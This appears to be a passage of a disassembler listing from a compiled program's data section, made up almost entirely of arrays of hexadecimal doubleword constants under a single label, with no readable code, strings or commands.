		dd 797437EAh, 6F17F9F8h, 1C549DEBh, 0CD855108h,	0F9A640B2h
		dd 30CAAAEDh, 793682D6h, 640B63A1h, 478ECE38h, 0D59CB31Ah
		dd 0EB11DD0Dh, 246921B3h, 7478A135h, 0A71CBB07h, 9FF2F0E3h
		dd 0A9DE4D40h, 0A31BEBB7h, 0D0189905h, 0E92A1D47h, 76CB8446h
		dd 0CA7E92B8h, 0A0C75909h, 1C8CFC69h, 0B12C4E96h, 3A27943Dh
		dd 3CD42AF2h, 0EB7F5C96h, 3F082DA3h, 4C2BF1EEh,	6FF1C8E3h
		dd 250EA8C3h, 6EBE3DE5h, 0AE420DB7h, 5BD35223h,	761648D4h
		dd 9285C9C6h, 8288C1FCh, 8075E3E9h, 7A6259BDh, 0D6083301h
		dd 267D0640h, 4AF913DBh, 4049F03h, 2FE8B201h, 0CDBADF38h
		dd 45E3A08Eh, 2F9FC07Bh, 0BABE73A5h, 0F4520C63h, 0BBB30EEFh
		dd 0CD2B0E18h, 3684F7F1h, 0E580A402h, 955B925Ch, 0BEB56B12h
		dd 0CF5A754Ah, 8817585Ch, 0C611F8CEh, 0B6CDE35Ch, 0A51F89F2h
		dd 7FBCA04Ch, 0B29A0995h, 0EC999E89h, 0B4AC4D7Ah, 0F99D46FCh
		dd 0B555A897h, 0BB9DA44Fh, 0ECC1B88h, 12F6060Ch, 0F80CB716h
		dd 0E022D5E7h, 700941F3h, 0B2900EFBh, 21BA323Eh, 0F98D1973h
		dd 2F670DBAh, 0AD24E5C2h, 0E3178F9Ah, 0C1AEFE4h, 0EAC32ED7h
		dd 0C1D4DAABh, 0BEEA1D4Ch, 0D6E181C3h, 458BFE0Dh, 0CC0FE1CEh
		dd 16ABC422h, 5FA61C2Dh, 1E26A730h, 44B89F53h, 1F1A6370h
		dd 0AE9EF34Dh, 6E34504Ah, 0B3208064h, 2F4557E9h, 4EBFEAE5h
		dd 555C668Ch, 0A51B6349h, 518B1F86h, 2A9196DCh,	0F5FDE3D4h
		dd 4D0B65C2h, 297990C6h, 0C5B91FC6h, 49C2DD97h,	0A0892DACh
		dd 39A129F3h, 36FC7D24h, 314D440h, 59C32C1Dh, 12B1D3C3h
		dd 0D2E8332Eh, 368876B4h, 0FCF9EF66h, 6A145E75h, 0EA409C5Ah
		dd 0D6631965h, 42E55671h, 14B591EBh, 53959A84h,	917F57F7h
		dd 0CE4D4BA4h, 2F5432ABh, 6E9A0E92h, 48008CE3h,	0E24E9CDBh
		dd 0C224996Ch, 650F4393h, 45C48DBFh, 0BF119FA7h, 0E3292712h
		dd 0F973112Ah, 6FA6BF6Ah, 0D86AB4C0h, 8E623B03h, 0B2D57D06h
		dd 0D70A434Fh, 6278D8Dh, 0CE905C71h, 52E6C698h,	0C2DFDA03h
		dd 0FDE1C26h, 7DE43D12h, 51ABD500h, 213E78F0h, 33B7379Dh
		dd 555C0CD6h, 7BFCA441h, 872ADE0Ah, 0D32566C0h,	557EA209h
		dd 7FF94E4h, 0E4FFFD75h, 653B73BCh, 0B040DB1Ah,	0BF8F7A78h
		dd 0BE2F083Dh, 66267108h, 0CA55D7B6h, 8DF0B5ADh, 0BE194519h
		dd 0B261351Dh, 71B520D2h, 0FD5F1273h, 75C6B1B5h, 0FE510DC9h
		dd 9401F0C2h, 98D966F9h, 31CDFB91h, 180EA3F3h, 0D0BB3BB1h
		dd 0EF0BAF74h, 89A4EB14h, 94D7A4ECh, 6F1FF963h,	2EA7590Bh
		dd 98095106h, 0E8F949FBh, 40985AD7h, 577B19A9h,	0E75A196h
		dd 0A616F167h, 0D13C96A3h, 8BA47451h, 77D427C7h, 808B7F4Dh
		dd 0BEB73D20h, 0C49BBB1Eh, 1121004Ah, 506A2D58h, 3F7F04B0h
		dd 0F8FEAA07h, 511B5F4Bh, 203A1F33h, 46E1A9FCh,	506F82Dh
		dd 50BB6A92h, 0E2B976D3h, 82D83CE0h, 0F82D05EAh, 0CAA3EDDAh
		dd 0F6CC4BDFh, 0BC04A980h, 1FA02C92h, 6E48AADh,	0DEE1BE94h
		dd 4A7F9147h, 0BEF84AE7h, 21BFE166h, 0D6A9EA0h,	166EAEE0h
		dd 4F3065EFh, 9579A7F9h, 0C31225BDh, 8C4900B7h,	7D45259Ah
		dd 34F3C76Ah, 0A8BD778h, 0DBFB3099h, 0BC034EE2h, 0E0F95E6Ah
		dd 3BF207BCh, 0FF00F423h, 704E2ABEh, 2EDA8206h,	257BE894h
		dd 2C0D124Bh, 348B9720h, 940FC568h, 0CBAF259h, 744BD03h
		dd 0B7F9C420h, 94EBDE7Fh, 0DBFECAFEh, 1A7D0121h, 64BD1CC0h
		dd 0CBDD85FCh, 39771ECh, 6434750Fh, 64A0D0CBh, 673E6086h
		dd 36FB3763h, 0DE259135h, 5714ADD8h, 0DBD6DD4Ah, 4A7AF22Fh
		dd 40267016h, 3E0ED3BBh, 0EF860A05h, 8B7DBE67h,	830175D7h
		dd 8F125688h, 46BEB1C7h, 0B8187FF5h, 0B141AEABh, 2D9FC3ECh
		dd 61E377A7h, 4EE73EFDh, 6851EFh, 1BC3503Dh, 0CC1E27A4h
		dd 59FB1D8Fh, 432CFF5Dh, 0A6450AC4h, 10CEBB6Ah,	3CEE892Eh
		dd 0B75A1116h, 3E7422EAh, 0E3D48A4Ch, 2D691196h, 3499AE53h
		dd 121DC71h, 760A7CCAh,	3CD69171h, 0FAB6B0EDh, 6B1C8E64h
		dd 0E49804B1h, 3CDD53B0h, 91B05A3Ch, 0CC68ED9Eh, 9713C9F9h
		dd 31451D1h, 9A4CE226h,	5B4A44Ah, 1F38BB67h, 4A15D24Ah
		dd 9D2D59C2h, 58D3E97Eh, 841E0769h, 0DCBFB27Ch,	4EBCC334h
		dd 38DEDC91h, 6D686EA1h, 0CBC2E699h, 74B660E4h,	0EF0B9229h
		dd 0B531606Eh, 29898757h, 0B45F6248h, 4D6DD82Bh, 0D0903135h
		dd 0DC5AF1F5h, 0C758B301h, 0FF238A58h, 4363B69Bh, 0DD9CC40Fh
		dd 0B25FD20Ch, 50BEBF87h, 67126A14h, 0C92429ECh, 5744681Bh
		dd 61952DDDh, 2E4E78Dh,	0E7D60752h, 95895B0Ah, 17A91B10h
		dd 0C3AA1320h, 708E8407h, 0D4447C56h, 8EAA8139h, 7DD03217h
		dd 6726D63Ch, 25E4D71h,	82F58DB7h, 4DF5A165h, 0F2E2D64Fh
		dd 0A99963F1h, 0BECABFC2h, 0EEDC6182h, 20A5DF15h, 0A956062h
		dd 6FAB724Ch, 504E3102h, 3CA426E0h, 24A65F3Bh, 54CF0786h
		dd 0C131B2BCh, 18D18269h, 0D54BE211h, 1E6F8AB8h, 50F857A7h
		dd 33D1CE72h, 0D8B5B8E1h, 60C46505h, 32D3DC36h,	0F2DFB084h
		dd 0E74FE24Fh, 76027306h, 752767C7h, 0D78B7534h, 0E752C513h
		dd 0EE043534h, 8757EFDFh, 410AB777h, 0B5D84C93h, 736CF2E1h
		dd 0C451D8DDh, 0D006EBF9h, 569DDB55h, 0DE3C8F6Ah, 0F1B29A27h
		dd 0B7A7CE8Dh, 0A14E9232h, 3AA041E5h, 0BA700F54h, 0D90BB631h
		dd 9FFE0517h, 0A9EE4548h, 0E30B4E7Dh, 0A5F2D698h, 8151C689h
		dd 317AE8BFh, 10CB4176h, 762AB1F0h, 6E65F0C0h, 0B4A7F1D0h
		dd 0E5A055C8h, 7250E76Fh, 6EA65406h, 0B6CE2E96h, 47F47DEh
		dd 6C5B2143h, 0ADFD9BE6h, 36B41740h, 16DCAA26h,	0B3DFEA2h
		dd 0E7AD76Dh, 92088503h, 0CE575DC6h, 0E105E8E1h, 0CDD5B978h
		dd 2459F055h, 89CEB83Eh, 0E28E1395h, 0B97421BEh, 0ABE1E9DCh
		dd 2D2F2962h, 99AEF614h, 0DD028290h, 4D8E3E36h,	91413E0Eh
		dd 3E497F03h, 5B311CBBh, 0B152DE1Bh, 4578DE63h,	604235B2h
		dd 960099A1h, 7D3CA22Bh, 169B913Dh, 0CC4A0B5Fh,	0C6824F6Eh
		dd 8D8CF71Dh, 0FE24D11Dh, 65018E5Dh, 7883EAB6h,	0EE0958A9h
		dd 0EB93B23Ch, 94C27A47h, 5B8432A1h, 83955177h,	0F9724D5Ah
		dd 68260A5Ah, 466F78A4h, 0D5411C2Fh, 1C0FCB21h,	6F8754B7h
		dd 4EBBB708h, 0C5585180h, 38F05A7h, 4B7F5Ah, 2504AB04h
		dd 966910ACh, 93F19AC7h, 0BA226BA1h, 0EEF47AF3h, 0DC1D7DAEh
		dd 6CBDC580h, 84F137F5h, 44A1D831h, 74D7523h, 0CAE99EFFh
		dd 0DC89A82Fh, 1EE49605h, 21BB6908h, 6279B71Ah,	4EB5A86Ah
		dd 8E830E15h, 1EE00D5Eh, 317F4F35h, 0C8C74F41h,	426D8F36h
		dd 0F17EA9C9h, 2C9FC552h, 0D185FDDBh, 7F35A5C5h, 5A57C91Dh
		dd 0AD655A33h, 0C7A77E1Ch, 0F6083336h, 0D39ADAE5h, 731C8871h
		dd 0F5C1D282h, 0CE966145h, 109F64A2h, 97E45713h, 0F60F90B8h
		dd 0FA98348h, 406693B8h
		dd 0E8E9DB06h, 0BAAB48ADh, 674015AFh, 8797C9D2h, 34BE8184h
		dd 1FC4F88Dh, 19060D70h, 71FBFF6Ch, 0DED4BEB1h,	9C359B7Fh
		dd 69DF56E1h, 0AE4E40h,	9BBA768Eh, 40DA8185h, 40587B76h
		dd 7B6C2103h, 0E70C4064h, 673DD304h, 40DD875Ah,	53329D81h
		dd 2EC3429Ah, 4F72E83Eh, 9E548134h
dword_49005C	dd 2D2F5D25h, 0DB4C1358h, 81AF595Eh, 3CE410D4h,	0C01EF290h
					; DATA XREF: .data:off_426B98o
		dd 25B197E2h, 26822B82h, 63DC4351h, 958EE7Fh, 0B24226AFh
		dd 0E2A9D41h, 0F3C5BDEAh, 0C8F5CCE8h, 37013640h, 7C5675F5h
		dd 167F6F25h, 93CE0124h, 94F8209Dh, 0E3C484BCh,	0E9B9E9C6h
		dd 8439DA95h, 0C21467B0h, 740D51DCh, 66F28FFAh,	5C101E6Ah
		dd 93FC0144h, 0AB1BA194h, 243CC807h, 1D6A3A8Eh,	0E248345Eh
		dd 9FBF382h, 0BDC8D27Fh, 102F561Eh, 0EE3663E8h,	0BCFE7C8Fh
		dd 6ECA4540h, 18CCF01Eh, 23E54AC9h, 0FAB4013Fh,	0A013B865h
		dd 0D9CAB44Eh, 748223B0h, 0F14F5B60h, 8C7FD16Dh, 75560B1Fh
		dd 70CF5EC3h, 77B47C7Ch, 0EE301BEAh, 1414454Bh,	0C813AFF6h
		dd 67033216h, 0A1074BF4h, 81530B07h, 0B04364E6h, 2781AF19h
		dd 38F6A01Ah, 0C6E3F96Dh, 8F7DB50Fh, 5539562Fh,	285B8040h
		dd 3FD7EC13h, 910A1073h, 0A6675117h, 959030C3h,	1A6F53FBh
		dd 1D97F4B3h, 954BC8AFh, 0CF908093h, 0DDF8874h,	16BD5E4Fh
		dd 1F80E56Ah, 0C1E64B69h, 0E220D5D7h, 0A04DA689h, 548B8CECh
		dd 0C277C3Eh, 0D7DC25BEh, 89CB04CBh, 0C7821E40h, 414ED711h
		dd 8CB9328Dh, 0ACD86A64h, 0E8187328h, 80BF1175h, 67B581DCh
		dd 0A5030480h, 0B4FC04ECh, 1AE0B66Eh, 9B1A7440h, 65351666h
		dd 31FC666Dh, 74ABC924h, 72F3B48Bh, 9BC0A3Dh, 96C7AD56h
		dd 0E6415D19h, 0BDE25736h, 1C6E50AAh, 0DD1B15D9h, 74861FB8h
		dd 6EED8370h, 0CBBB861Ah, 84BFF4E8h, 0C1BE0E83h, 0FE4C1DC7h
		dd 0D4BFE8C1h, 693DA35h, 7E6B86CBh, 23EC0CC4h, 59655F09h
		dd 0D63A659Ch, 7F9B8E9Bh, 9C9FB367h, 9D082F7Fh,	7FEC4DA2h
		dd 7D79233h, 0FF40E96Fh, 6E1EA756h, 3F2A0FBFh, 6BAF9FB2h
		dd 55AFFAA2h, 277C085Bh, 0CA72FB57h, 7D8B117Ah,	9D317AE5h
		dd 777739E1h, 0F04FAAD6h, 6091CCC2h, 0AA460B1Bh, 0FB51E3ECh
		dd 14364B5Bh, 0C8F5C6CBh, 130EB373h, 3A94693Eh,	47385880h
		dd 33074261h, 24FCFF84h, 7EC8D0C3h, 0F8EB7ADDh,	5360A41Dh
		dd 43CB9F66h, 0D3C15E9Fh, 0F822FD9Dh, 418508CBh, 44BAFE37h
		dd 8026E37Eh, 244768CAh, 0F32DF1F4h, 79F42637h,	1F378867h
		dd 0FBA1EC18h, 43850887h, 0CB6D6E77h, 0E07D2D58h, 0B600BC6h
		dd 0E406CD4Ch, 0EA8393A9h, 3C5A70B7h, 24E59E98h, 69BF800Dh
		dd 0E3AA7E23h, 0EB4118CAh, 5AB6B45h, 0C2842F0h,	33DE081Eh
		dd 5C136D8Eh, 0CA1EC232h, 0F71C46F4h, 6361A6A5h, 2F5A44CCh
		dd 4728587Fh, 630BFB3Ch, 0E9C9E118h, 0C51D79D6h, 5AAF28D5h
		dd 9FB20298h, 0D3340E0Eh, 3857323Ah, 0CD28D538h, 8F7E396Dh
		dd 0F86C1C7Bh, 1B111947h, 0CC2A6059h, 0C5C24D58h, 5A52BD94h
		dd 0F43AE4C8h, 0B16C216Ah, 0EBAEA610h, 936B679Ah, 949BA9D4h
		dd 42B36E49h, 0AB056A07h, 9E344F96h, 1887AD1Eh,	21DAF859h
		dd 2C2191D1h, 7A823281h, 4AF90CEEh, 0F5D4B59Bh,	0AE32C04Fh
		dd 133917F6h, 8C22FE5Eh, 7406645Ah, 0C632B2D5h,	2FCB55Ah
		dd 75F190E4h, 8A93E50Ah, 0B5D6E2B7h, 821FCF3Ah,	139948BEh
		dd 140C2FF7h, 6B7FF34Dh, 74BD58A5h, 0CA88C618h,	0B80AC30Eh
		dd 0CE3D934Ch, 54469B9Ch, 0A8573601h, 0C21FE881h, 0ACF17B7Eh
		dd 9B54A4EEh, 9D11EF19h, 9E0E8629h, 92B91198h, 679BE606h
		dd 0DA505BA9h, 0FDDCD43Ah, 0E2309F09h, 0AA72195Ah, 8062779Ah
		dd 94555DBh, 0F296450Eh, 847E9A79h, 32F52F4Ah, 0AFC93E63h
		dd 6E3F73Ah, 0D3DA98A5h, 0B29C9657h, 0BFBE0EA1h, 3C8D5CAFh
		dd 0A37EAA1Bh, 4DD7489Bh, 9547670Ch, 2DE24106h,	75E572DBh
		dd 0BAC0AD8Bh, 0F3F0EB5Ch, 632A5E63h, 234BD1E8h, 0C6C034EDh
		dd 0E48BF561h, 0E99EDC21h, 5B26619Ah, 0DBF2029Ah, 0DC089CDBh
		dd 0AF9ED2F3h, 1E1D805Ah, 0ED695BA1h, 0BE0E6E3Fh, 95CA8E09h
		dd 0CEFCC171h, 0AC2EF317h, 390A5C1Fh, 6FBF9BEAh, 283E3764h
		dd 0A0A17006h, 0C35B9345h, 9E434C4Ch, 3E6C11AEh, 0DE670523h
		dd 687CAA39h, 940C0AEEh, 60B5C88Ch, 90C633C5h, 459E85E1h
		dd 9D1CA8A7h, 1BF096E2h, 0EF0E8F5Dh, 0CE4945Bh,	0B40B0907h
		dd 0E6FAB6E7h, 0FFEFEFA7h, 0A00DCAEFh, 91D3330Ah, 446B3FA1h
		dd 0DD5C22ACh, 3A0948F1h, 4DEFD0C3h, 22654737h,	169A10A1h
		dd 45686F15h, 0A44BC5B2h, 0AEF1C419h, 0E650E106h, 63347BA3h
		dd 0F2B64A88h, 6EE15762h, 821B0AEh, 68BB2A51h, 5305EB90h
		dd 0A23D4D22h, 7593F063h, 4866836Ch, 0E4B9C3F7h, 0C93E5A37h
		dd 423C128h, 32FB54Eh, 3C24098Bh, 0ED00C3FEh, 4B117A77h
		dd 0E0927C57h, 0C6EDB7ABh, 7F56260Ch, 7BF9ACB4h, 7289608Dh
		dd 0D6608397h, 0AADAE458h, 4850B998h, 0A8E140E2h, 0DD43EEBBh
		dd 3226C4EBh, 25338107h, 0E52E68C4h, 0D8696BFDh, 8E5C1A80h
		dd 0AC6AE002h, 109A6A24h, 0BD7F2BDFh, 0CC6A2FE6h, 672B6CA4h
		dd 4922DF23h, 858E88F6h, 66551E07h, 34A1AF27h, 0F6576BFFh
		dd 0FB564068h, 4F80F389h, 9361E4D5h, 850E9323h,	0A8C2DA18h
		dd 58862950h, 0F1D2763Ah, 851D83BCh, 67C0D5EEh,	3E2B40DFh
		dd 1D781BB0h, 7BD5AF76h, 79A44BFBh, 3DD36B02h, 3C6A23D8h
		dd 2876F027h, 438A8A71h, 1A7AF431h, 53D20B93h, 0A6D405BBh
		dd 71D14514h, 0DE83C6F9h, 252B26F6h, 25C309D8h,	366CB46Eh
		dd 650404E9h, 2ABC1171h, 82D687Fh, 7E8986F6h, 0C7962F61h
		dd 282F75F9h, 0C8EEE253h, 0E84DC806h, 0C3620891h, 0F41D13h
		dd 11B048C8h, 0E09803D9h, 92621DFAh, 0EDE1C874h, 8EA2BC55h
		dd 0ECBDC152h, 19348Fh,	2ACF0170h, 74AA5F98h, 0B542AB38h
		dd 0B421160Bh, 7629719h, 3584084Dh, 118D81C7h, 0F82E001Bh
		dd 65393B86h, 22BD5091h, 1432DA03h, 0DB02D1D3h,	0F904D4C1h
		dd 8302DF57h, 7493AC2Fh, 27001259h, 0AEB58D44h,	0CC07F40Bh
		dd 46F7F6FDh, 40E39DDAh, 64A93EF0h, 9C8F71Ch, 0E0950DB7h
		dd 7107D12Ah, 817B8769h, 4718E273h, 2A8B9325h, 9787E9A7h
		dd 8893BC01h, 0AECD0454h, 33004B6Bh, 74AC2A06h,	0E6E20988h
		dd 0F13DC488h, 0FE87F317h, 1476400Bh, 1AB084B6h, 7F8879C9h
		dd 41681458h, 0C96906B2h, 53F2A55Bh, 34B9EE89h,	35523D9Eh
		dd 0AE92E1E8h, 0BFAF08B3h, 9D03CCF9h, 0FFF30A4Ah, 4DC32FE9h
		dd 978631C6h, 6AF378Dh,	9129AAAFh, 8DD940F3h, 273C098Ah
		dd 74CAFBC5h, 4BDB86C2h, 3FA818FBh, 0C609C0E1h,	4FA751F9h
		dd 62B42DDDh, 4BABDF80h, 0C2729EF4h, 8579BC16h,	6E82069h
		dd 0DE2F16AFh, 0E2D6F00Eh, 23AD853Fh, 0D11D71D9h, 2001ECF8h
		dd 432A12BCh, 0C5A0D5A1h, 51A0A325h, 0C69640B0h, 0A8FC9FA5h
		dd 71772819h, 0C88FC167h, 0B5AA6AF7h, 8398DFA2h, 224139B1h
		dd 47C31555h, 1D44EEE7h, 0C2B528A0h, 0B359D723h, 9CCEA0E9h
		dd 0CB8BB269h, 6696AE0Dh, 13C38712h, 0BEED72CAh, 0A06B1AA8h
		dd 17E53934h, 6BEF3AA9h, 0F0953512h, 4D19847Bh,	0D118C3C8h
		dd 4DE9546Bh, 2C91F775h, 2A23790Ah, 93541E07h, 40B5F78Bh
		dd 0F648475Bh, 0CE2A5117h, 0A0058A61h, 0C0E2D7A9h, 60CD5F73h
		dd 0B3DE98A4h, 0A8F9A8AFh, 0F1A9B43Fh, 0DAB3AA0Eh, 770839D0h
		dd 64D83044h, 0C60C1F59h, 3C15457Fh, 0B4472CCAh, 51FEDA7Ah
		dd 0C7D21C39h, 0A0A30859h, 449B2C0Fh, 0D9BDA67Ah, 60C7CBE0h
		dd 1E7E0E24h, 770467FCh, 0AC114C6Eh, 0FF008C5Ah, 0C8C3FBC2h
		dd 6849E2F6h, 95F405D1h, 0C389EFD4h, 0FD4EBA2Dh, 7B6AB25Ch
		dd 9FA73C0Dh, 0D86AF84Ch, 0A6423C80h, 0BEC1380Dh, 457DDF10h
		dd 0A28A8A4Fh, 0C130FC84h
		dd 4C1F7011h, 0CE3345A2h, 0F9EFEF95h, 0B38717E8h, 0B5ACF41Fh
		dd 74531131h, 0B1348E55h, 0C2F44E61h, 0AE5DBF0Bh, 864D0F69h
		dd 613DDC64h, 8C9323E2h, 49F252D7h, 89A510BCh, 1122E679h
		dd 9C85C2B1h, 14B0CCECh, 9D3DF9A8h, 0DE2C7835h,	0BA4A625Fh
		dd 0F6512D02h, 0A2E51950h, 9C7A7E37h, 0B04F35AFh, 89A54023h
		dd 3FA0A28h, 0A70A9FDFh, 3D737C7Ch, 0CDEE828Bh,	2D0EE0E5h
		dd 0AF1B64D0h, 0DA0C6FE3h, 696C9251h, 0B5A681C4h, 12AC3A0Eh
		dd 988957A6h, 0B688A04h, 342A5BB7h, 197358E4h, 3E70F84Ah
		dd 0F73B6D6h, 9ED2141Fh, 1548A2FFh, 0CB593C38h,	97E7E44Ch
		dd 0BD988508h, 1C7649D2h, 8C8D72CCh, 6715DEF4h,	49E3783Eh
		dd 0DCF973E3h, 3585F14h, 5D55AAB9h, 67C3F594h, 5C3DEC1Dh
		dd 0D9F146B9h, 237D1D0h, 0A7EE26A9h, 0E12C2C9Ch, 26177C85h
		dd 301F3C8Bh, 8EE67A85h, 57030357h, 6C0BEA55h, 16C92701h
		dd 95535ABh, 1D15ECA5h,	2340D1CCh, 0E01953CAh, 0BD132699h
		dd 0D73DE815h, 38C52E88h, 0BA9867B0h, 910D249Bh, 2E89016Ah
		dd 6817A511h, 2C28ED3Dh, 2EB5E3CAh, 8A5F3F6Dh, 59042D8Ah
		dd 90ECAB65h, 86D44C35h, 41677A2Dh, 3E4E113Fh, 0A9312813h
		dd 3800CBBh, 3C806F34h,	9BD9D92Ch, 1D215499h, 876135Ch
		dd 0C23A812h, 28BF6BA9h, 0AFEA22A8h, 7D7FD74Eh,	0E43EB32Ah
		dd 8F776F2Ah, 891DB1DDh, 3D850686h, 0F6446D10h,	0F4B77261h
		dd 8112BA0Eh, 3D415770h, 0FE95F312h, 74E6E224h,	4B4CC67Ah
		dd 7126F697h, 3AA2DB70h, 0D9D19D45h, 0F8CD645Ah, 0ED0E1C32h
		dd 25DB20D4h, 0D964AC13h, 0DA7CCC1h, 52C5C321h,	9FF544DFh
		dd 0F637240Ch, 756B9559h, 9284B490h, 7A0F9E79h,	0D9CD75B0h
		dd 0C9AF6391h, 0F97761B4h, 3E7BA5A1h, 46CB2CE8h, 0B183F598h
		dd 6CD87CAEh, 1AE406C1h, 0F3587415h, 0C294C5D5h, 7FFEC591h
		dd 88C99468h, 0EA1CDCEEh, 3F27ABB9h, 4F630BBCh,	6D100011h
		dd 0AEAB78A6h, 0BE8D784Dh, 0EDAFA9C2h, 0B8258530h, 0C03373Eh
		dd 1A2B476Ah, 0D9B160A4h, 0CA88CB3Ch, 0BC11EDE0h, 0B3843BE5h
		dd 0BECE0479h, 96F20CABh, 0E619F730h, 74D659D7h, 0ACE6CE16h
		dd 35075C43h, 0C4F59E75h, 61405CE8h, 4E91873h, 72476BF8h
		dd 0F2011903h, 0AAB4B19Bh, 12C77AEFh, 0D48CFB44h, 719A0CEBh
		dd 41A2B65Dh, 7FB7A94Dh, 0EDDEEE4Bh, 0B4D8A5B4h, 361D2176h
		dd 0D1E04882h, 645EB9C4h, 0E697CFDh, 1BD86B6Fh,	0FBCF75F1h
		dd 912E8C87h, 0B7BCB6ADh, 3230F057h, 0E2437347h, 0DC4EDC9Ch
		dd 0E4C50CBh, 8A08169Ch, 0F4CFF40Ah, 743561F7h,	5AD57F5Dh
		dd 0E3420208h, 978902EEh, 0F2F0E54h, 60DB5F85h,	706C094Eh
		dd 1B12B4F7h, 60331EAEh, 42661167h, 2463339Bh, 0DBDC034Bh
		dd 9D90060Fh, 0BB9624F4h, 0C8783BD1h, 3F3CCEE8h, 27CEA389h
		dd 223FC81Fh, 8850EB20h, 3BAB0AB6h, 0D958FCEh, 4113AFD8h
		dd 4DE06B75h, 0ED73BDCCh, 7D491C62h, 4E4EFC15h,	30200CEBh
		dd 348E613Bh, 0E7848049h, 6DF40765h, 0EEF294AFh, 0B610998Ah
		dd 627F6416h, 0A678A37Bh, 33F18B3Ah, 6B8B61Bh, 36C87D81h
		dd 12651A0Dh, 8EC4E76Ah, 0F7FA212Ch, 3BF27F47h,	0EF6EA65Fh
		dd 0CD8ED1CFh, 2F79F9AEh, 3240DBA6h, 65CA1D4h, 0D70848D1h
		dd 0AD1E4D41h, 0E114C913h, 669D88B7h, 81C0DB47h, 6756E568h
		dd 9B6BA1FEh, 381E3354h, 11F72B2Dh, 0F81E5782h,	0BDDDA2Fh
		dd 58F1EE09h, 209D5D19h, 0C133D159h, 4F6293F8h,	6F936A01h
		dd 0C415BC66h, 0E4AF131Ah, 6469D2A8h, 469838Eh,	5D662353h
		dd 74CBD291h, 56794522h, 2F129C2Fh, 0B0802EF7h,	2BDC6770h
		dd 0D0AD7084h, 97F2EB76h, 2734193h, 0A1C121BDh,	0B085073h
		dd 752110ACh, 43E5E3D9h, 0A4C6A49Ch, 6C272D97h,	0CF9DCF48h
		dd 0D19C7B21h, 0FD9ABCF4h, 0F2D6A2Ah, 72E4D0CBh, 1CB62912h
		dd 7B0BFE1Ch, 0B8F7E591h, 82C3986Ah, 4C252378h,	6BC4E469h
		dd 8EAD0A32h, 0C639209h, 0F517D3C0h, 0F1002C5Eh, 6F783C05h
		dd 0A2E353E0h, 40E774FFh, 52FA6025h, 806746C9h,	8A6FE0C7h
		dd 5A727F61h, 0AF462BB8h, 64B17769h, 0D8A19804h, 0AF2C58Bh
		dd 0E4B233B0h, 8952C2F5h, 0B9169C62h, 0F1483728h, 6A174722h
		dd 6F568E10h, 809EA59Ah, 577BAE3Fh, 3FD6FF85h, 0C7F4E0A5h
		dd 4516B8FBh, 3FC47559h, 0A8D6D001h, 7E218C24h,	5A2D45E7h
		dd 0B8B7F3AFh, 71A62CE7h, 3101676Ah, 0AD569B38h, 0A930E119h
		dd 3E119A6Eh, 0E0D145E6h, 78DD1CBh, 16247F35h, 0B80A4869h
		dd 680E6B70h, 0D5D49107h, 818E526Ch, 73F3CA5Fh,	0E35A62E3h
		dd 0F100E2D0h, 0E5430D6Bh, 840624D3h, 0AEDC11Dh, 1A6133C0h
		dd 4FA3CD40h, 6D9BFB55h, 0E1478516h, 0D007F145h, 58610656h
		dd 0B3ACD1D5h, 958203F8h, 5BAF2A2Ah, 0F6F90F08h, 0C15EFB4Dh
		dd 0C926BF2Dh, 0D8BEDC82h, 72588A20h, 0BDF2B7E9h, 32094D07h
		dd 9694A6C6h, 147F8EEh,	948A0BB8h, 25AC549Fh, 0E2EC7D7h
		dd 0FDBD4E83h, 0C2AEEA2Ah, 639A752Fh, 48D5C82Bh, 33A59242h
		dd 0B9288D78h, 74096C6Bh, 9412E70Ch, 21BE4AFEh,	21724B09h
		dd 0DDD6C641h, 81AEFCE2h, 92ACF56Fh, 61EF6646h,	7E2CB11Fh
		dd 7071A17Dh, 22A79152h, 2E74A538h, 63C5040Ah, 370853C9h
		dd 7DAA05DEh, 9D6050DEh, 0BD6D0BB7h, 0BD99A570h, 0A68BA4Bh
		dd 6C2214C9h, 90185E14h, 28AE28FDh, 2D2B6E69h, 740059C8h
		dd 0E3CD6498h, 45F6C40Eh, 98DBE42Ch, 85F54088h,	710F2A2Fh
		dd 78BDD58h, 5FAF4072h,	0FAAF3789h, 7846F20Dh, 0AE118680h
		dd 37D2FEC6h, 6B4DFC24h, 4B7D1553h, 81E9993Ah, 3B38A03Ah
		dd 0EA51281Ah, 23BF727Eh, 5BD4A654h, 0A26AFA14h, 324408BFh
		dd 96EDEF9Dh, 4E170138h, 1A5DE71Ch, 283E9463h, 5E5D999Ch
		dd 28204628h, 0E5799648h, 48201FDDh, 0EFF5D557h, 1412163Ah
		dd 5F72D83Dh, 128211B3h, 806787B6h, 3F99A075h, 3D6D55ACh
		dd 2F2F04C7h, 1E630DFEh, 5B694947h, 862C50D6h, 51F32836h
		dd 0A14B594Dh, 2849DD4Ah, 0AA255FD1h, 8800BC86h, 8A4C568Eh
		dd 0BB201741h, 4F09D326h, 5ECDEB06h, 0DC6E1F0Bh, 0B01B476Dh
		dd 49DB36BFh, 0DF800481h, 138D9D49h, 44B07D9Eh,	0F943E069h
		dd 60557D08h, 510B44E5h, 868C9006h, 0B9DC24BFh,	5EDC0C0Bh
		dd 0A1975464h, 3D0FA6CEh, 0E7A35486h, 491E987Fh, 0F54D144h
		dd 240C2849h, 31884B2Ch, 7624546Dh, 91349CA1h, 21DB6426h
		dd 7F68F9C4h, 0D404F600h, 5EBF9DBCh, 0BFDC2D6h,	62BDD0C3h
		dd 82467874h, 7958E64h,	8D0A706Dh, 80FF1953h, 361B9553h
		dd 6C386F10h, 12EFEFADh, 0E23076B2h, 8EA11933h,	0C2D0BF31h
		dd 0F7CDEBDDh, 24D48989h, 1B0EACFAh, 39FD7E70h,	84530AACh
		dd 0D790CA80h, 0E166F7E2h, 54795C29h, 2A429CE3h, 5D2066CDh
		dd 88E3A6F1h, 0A6A0DD03h, 4237DD6Bh, 0DC751BF9h, 3DEC7337h
		dd 25760CFBh, 0E340B350h, 0AA74F5C1h, 0D5ED800Fh, 70B23C2Dh
		dd 0FD029833h, 0D0A2F277h, 49740DEDh, 632AE617h, 46C00C17h
		dd 8D9C9FEBh, 0B47B183Eh, 8F131463h, 460A0244h,	3313B936h
		dd 43D34A16h, 0F48443E8h, 670B4CD5h, 2CE4F364h,	67A0E257h
		dd 0AFA54C84h, 0B853F089h, 6FE07011h, 5E1F461Eh, 0CAA61035h
		dd 8AB72678h, 99A56C1Ch, 0DA6605D4h, 4601AE6Ah,	4267F6Bh
		dd 7E3C1A24h, 635A8F20h, 0F605836Ah, 37D909ABh,	9DCFF1EAh
		dd 0F019858h, 36288DC5h, 0F7F2DECAh, 0EB529AF1h, 1469B679h
		dd 5249F93Bh, 0F60DE0A2h
